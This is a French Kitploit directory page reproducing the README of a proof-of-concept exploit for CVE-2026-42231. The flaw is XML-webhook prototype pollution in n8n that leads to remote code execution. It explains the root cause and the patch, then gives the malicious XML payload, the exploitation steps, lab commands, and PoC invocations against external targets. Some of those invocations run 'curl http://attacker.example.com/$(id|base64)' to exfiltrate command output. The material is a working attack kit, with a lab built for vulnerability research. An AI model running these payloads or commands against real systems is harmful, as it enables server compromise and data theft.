Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-42231 — Preuve de concept d'exploitation pour CVE-2026-42231, une vulnérabilité critique de pollution de prototype dans les webhooks XML de n8n menant à une exécution de code à distance. Inclut un laboratoire Docker, un PoC Python et un vérificateur Node.js. | Kitploit
Outils/GitHubGitHub/rudsarkar/cve-2026-42231
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité Web
GitHubrudsarkar/cve-2026-42231

CVE-2026-42231

Preuve de concept d'exploitation pour CVE-2026-42231, une vulnérabilité critique de pollution de prototype dans les webhooks XML de n8n menant à une exécution de code à distance. Inclut un laboratoire Docker, un PoC Python et un vérificateur Node.js.

Voir le dépôt
1il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

GHSA-q5f4-99jv-pgg5 — Pollution de prototype XML Webhook n8n → RCE

CVE: CVE-2026-42231
Sévérité: Critique (CVSS 10.0)
Versions affectées: n8n < 1.123.32 / < 2.17.4 / < 2.18.1
Corrigé dans: n8n 1.123.32 / 2.17.4 / 2.18.1


Résumé de la vulnérabilité

packages/cli/src/middlewares/body-parser.ts crée un singleton xml2js Parser au niveau du module sans tagNameProcessors ni attrNameProcessors. Cela permet à un attaquant d'envoyer un corps de webhook XML contenant un élément <__proto__>.

xml2js 0.6.2 utilise Object.defineProperty avec un descripteur de données pour définir les clés d'éléments sur les objets analysés. Comme est toujours , enveloppe la valeur dans un tableau et la stocke comme — contournant l'accesseur qui mettrait normalement à jour la chaîne de prototypes en toute sécurité.

'__proto__' in obj
true
assignOrPush()
propriété de données énumérable propre
[[Set]]

La propriété propre __proto__ survit à JSON.stringify (exécuté lorsque n8n persiste les données d'exécution dans SQLite/PostgreSQL), et après JSON.parse au rechargement, un Object.assign(target, reloadedBody) ultérieur redirige le prototype de target vers l'objet contrôlé par l'attaquant.

Dans les workflows contenant également un nœud Git effectuant une opération SSH, le prototype pollué expose une valeur spawnOptions / GIT_SSH_COMMAND à simple-git's createInstanceConfig, permettant l'exécution de commandes au niveau du système d'exploitation.


Cause racine

root@kitploit:~
// packages/cli/src/middlewares/body-parser.ts  (VULNÉRABLE — < 1.123.32)
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,   // met les balises en minuscules — mais ne bloque PAS __proto__
    explicitArray: false,
    // ← PAS de tagNameProcessors
    // ← PAS de attrNameProcessors
});

Correctif (>= 1.123.32):

root@kitploit:~
function sanitizeXmlName(name: string): string {
    const unsafe = new Set(['__proto__', 'constructor', 'prototype']);
    return unsafe.has(name) ? `sanitized_${name}` : name;
}
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,
    explicitArray: false,
    tagNameProcessors:  [sanitizeXmlName],
    attrNameProcessors: [sanitizeXmlName],
});

Chaîne d'exploitation

root@kitploit:~
1. L'attaquant envoie un POST XML à un déclencheur Webhook public :

      POST /webhook/<id>  Content-Type: application/xml
      <?xml version="1.0" encoding="UTF-8"?>
      <root>
        <__proto__>
          <env GIT_SSH_COMMAND="attacker_cmd"/>
          <spawnoptions><shell>true</shell></spawnoptions>
        </__proto__>
      </root>

2. L'analyseur de corps xml2js crée req.body.root où '__proto__' est une
   PROPRIÉTÉ DE DONNÉES ÉNUMÉRABLE PROPRE :
      Object.getOwnPropertyDescriptor(req.body.root, '__proto__')
      → { value: [{}, {env: {$: {GIT_SSH_COMMAND: '...'}}, ...}],
          enumerable: true, writable: true, configurable: true }

3. deepCopy() de n8n itère les clés propres via for...in + hasOwnProp.
   L'affectation  clone['__proto__'] = deepCopy(attackerArray)
   remplace silencieusement le prototype de clone via l'accesseur [[Set]].

4. n8n sérialise les données d'exécution vers la base de données :
      JSON.stringify(body.root)
      → '{"__proto__":[{},{"env":...,"spawnoptions":...}],"data":"..."}'
   La clé __proto__ est incluse car elle est propre et énumérable.
   Confirmé dans la table execution_data dans SQLite.

5. Au rechargement, JSON.parse recrée '__proto__' comme propriété de données propre
   (objet simple, sans enveloppe de tableau).
      Object.assign(gitOptions, reloadedBody)
   redirige le prototype de gitOptions vers l'objet contrôlé par l'attaquant.

6. Lorsque le nœud Git appelle simpleGit(gitOptions) :
      createInstanceConfig(gitOptions)
   lit config.spawnOptions via la chaîne de prototypes → truthy →
   spawnOptionsPlugin est enregistré.
   Avec GIT_SSH_COMMAND dans l'objet env, git exécute la commande de
   l'attaquant lors de la prochaine opération SSH.

Note sur normalizeTags

normalizeTags: true met toutes les balises XML en minuscules, donc les éléments enfants comme <GIT_SSH_COMMAND> deviennent git_ssh_command dans l'objet analysé. Pour préserver la casse des noms de variables d'environnement, utilisez des attributs XML (les noms d'attributs ne sont pas normalisés par normalizeTags) :

root@kitploit:~
<env GIT_SSH_COMMAND="attacker_cmd"/>

Prérequis

  1. Un déclencheur Webhook public (Authentification = Aucune, Content-Type = XML) doit exister dans un workflow actif.
  2. Pour le chemin RCE complet, le workflow doit également contenir un nœud Git effectuant une opération authentifiée SSH (clone / push via URL SSH).
  3. Version n8n < 1.123.32.

Configuration du laboratoire

Exigences

  • Docker ≥ 24 avec Compose v2
  • Python 3.9+ (pour l'utilisation autonome du PoC sans Docker)
  • Port 5678 libre sur localhost

Configuration en une commande

root@kitploit:~
chmod +x exploit.sh
./exploit.sh setup

Cela télécharge n8nio/n8n:1.123.22 (dernière version affectée), construit l'image de l'attaquant, démarre la cible vulnérable à http://localhost:5678, crée et active automatiquement un workflow webhook, et enregistre l'URL du webhook dans .webhook_state.


Procédure d'exploitation de bout en bout

1. Configuration

root@kitploit:~
./exploit.sh setup

Sortie attendue (tronquée) :

root@kitploit:~
[*] Téléchargement de l'image n8n vulnérable (1.123.22) ...
[*] Construction de l'image de l'attaquant ...
[*] Démarrage de la cible n8n vulnérable ...
[*] Attente que n8n devienne sain ...
[*] Création du workflow webhook (Webhook → nœud Code) ...
[+] Laboratoire prêt.

    Exécutez :  ./exploit.sh demo        # vérifier la primitive de pollution
                ./exploit.sh exploit     # délivrer les trois payloads RCE

2. Vérifier la primitive de pollution (mode démo)

root@kitploit:~
./exploit.sh demo

Le PoC envoie un payload de vérification et affiche le corps analysé renvoyé par le workflow n8n. Une instance vulnérable renvoie :

root@kitploit:~
[+] HTTP 200
    Réponse : {"step1_ownEnumerableProto":true,
               "step1_descriptor":{"enumerable":true,
                 "value":"[{},{\"polluted\":\"GHSA-q5f4-99jv-pgg5-CONFIRMED\"}]"},
               "step2_deepCopySimulated":true,
               "step3_jsonRoundTripOwn":true,
               "step3_jsonStr":"{\"__proto__\":[...],\"legit\":\"harmless-data\"}",
               "step4_objectAssignPolluted":true, ...}

3. Délivrer les payloads à intention RCE

root@kitploit:~
./exploit.sh exploit
# ou avec une commande personnalisée :
./exploit.sh exploit "curl http://attacker.example.com/\$(id|base64)"

Trois payloads complémentaires sont délivrés :

PayloadTechnique
ABalise <__proto__> — GIT_SSH_COMMAND comme attribut XML
BChaîne <constructor><prototype>
C<__proto__> imbriqué avec attributs env

4. Observer le résultat (avec nœud Git dans le workflow)

  • Dans le journal d'exécution n8n, recherchez l'erreur de commande git — elle inclura la sortie de votre GIT_SSH_COMMAND injecté si le RCE a fonctionné.
  • En mode démo avec le nœud Code, le corps de réponse du workflow contiendra "step4_objectAssignPolluted": true confirmant la chaîne.

Utilisation autonome (sans Docker)

root@kitploit:~
pip install -r requirements.txt

# Vérification uniquement — aucun nœud Git requis :
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <chemin-webhook> \
    --demo

# Exploitation complète — nécessite un workflow Webhook + Git/SSH :
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <chemin-webhook> \
    --cmd 'curl http://attacker.example.com/$(id|base64)'

Format d'URL Webhook (n8n v1.123.x)

Dans certains déploiements, n8n enregistre le webhook comme /webhook/<workflowId>/webhook/<chemin>. Si la forme courte /webhook/<chemin> renvoie 404, passez le préfixe workflow-ID comme --target :

root@kitploit:~
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target "http://n8n.target.com/webhook/<workflowId>" \
    --webhook-id <chemin> \
    --demo

Vérification locale (Node.js, sans instance en direct nécessaire)

Reproduit la configuration exacte de l'analyseur xml2js utilisée par n8n et parcourt les quatre étapes de la chaîne :

root@kitploit:~
cd /tmp/xml2js-test && npm install [email protected]
node /path/to/verify_GHSA-q5f4-99jv-pgg5.js

Sortie attendue sur configuration vulnérable :

root@kitploit:~
[ÉTAPE 1] VULNÉRABLE — '__proto__' est une propriété de données énumérable propre
         descripteur : { value: '[Object.prototype, {"polluted":"CONFIRMED"}]',
                       enumerable: true, writable: true, configurable: true }
[ÉTAPE 1] L'analyseur corrigé a renommé __proto__ en sanitized___proto__
[ÉTAPE 2] Prototype deepCopy modifié → clone proto[1].polluted = "CONFIRMED"
[ÉTAPE 3] Après aller-retour JSON + Object.assign → target.polluted = "undefined"
[ RCE ]   Si target est utilisé comme config simpleGit ET que le prototype expose
         p.ex. { spawnOptions: { shell: true } }, git sera lancé via un shell
[ÉTAPE 4] mockGitConfig.spawnOptions = {"shell":"/bin/bash"} (trouvé via la chaîne de prototypes)
[ RCE ]   simpleGit appellerait : spawnOptionsPlugin(config.spawnOptions)
══ RÉSULTAT : L'instance utilise une configuration xml2js VULNÉRABLE (pas de sanitizeXmlName) ══

Commandes Docker manuelles

root@kitploit:~
# Construire l'image de l'attaquant
docker build -t n8n-proto-pollution-poc .

# Mode démo (se connecte au réseau de laboratoire partagé)
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
    n8n-proto-pollution-poc \
    --target http://n8n-vuln:5678/webhook/<workflowId> \
    --webhook-id cve-2026-42231-poc \
    --demo

# Exploitation complète
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
    n8n-proto-pollution-poc \
    --target http://n8n-vuln:5678/webhook/<workflowId> \
    --webhook-id cve-2026-42231-poc \
    --cmd 'curl http://attacker.example.com/$(id|base64)'

# Contre une cible externe (aucun indicateur réseau nécessaire)
docker run --rm n8n-proto-pollution-poc \
    --target https://n8n.example.com \
    --webhook-id <chemin> \
    --demo

Nettoyage

root@kitploit:~
./exploit.sh clean

Arrête les conteneurs et supprime les volumes (y compris la base de données SQLite).


Fichiers

FichierDescription
poc_GHSA-q5f4-99jv-pgg5.pyPoC HTTP Python autonome — trois variantes de payload XML, modes --demo et --cmd
verify_GHSA-q5f4-99jv-pgg5.jsVérificateur de chaîne local Node.js — parcourt les 4 étapes d'exploitation sans instance en direct
DockerfileImage conteneur de l'attaquant
docker-compose.ymlLaboratoire complet : n8n vulnérable + conteneur attaquant
exploit.shScript d'aide pour configuration, démo, exploitation et nettoyage
requirements.txtDépendances Python

Références

  • GHSA-q5f4-99jv-pgg5
  • Journal des modifications n8n version 1.123.32
  • xml2js assignOrPush — descripteur de données Object.defineProperty
  • Pollution de prototype via Object.defineProperty
Télécharger l’outil